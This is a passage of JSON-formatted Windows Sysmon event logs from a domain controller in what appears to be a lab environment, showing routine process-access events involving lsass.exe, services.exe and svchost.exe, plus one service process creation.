C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.000","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.000\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1336\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x100000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.000","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1336","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.848\r\nProcessGuid: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nProcessId: 3024\r\nImage: C:\\Windows\\System32\\svchost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for Windows Services\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: svchost.exe\r\nCommandLine: C:\\Windows\\System32\\svchost.exe -k smbsvcs\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.848","ProcessGuid":"{90617006-3FDD-5F2D-0000-00107FFE0100}","Image":"C:\\Windows\\System32\\svchost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for Windows Services","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"svchost.exe","CommandLine":"C:\\Windows\\System32\\svchost.exe -k smbsvcs","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36F670D89040709013F6A460176767EC,SHA256=438B6CCD84F4DD32D9684ED7D58FD7D1E5A75FE3F3D12AB6C788E6BB0FFAD5E7,IMPHASH=2CED93915677390B76EE1916B92F3EF6","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 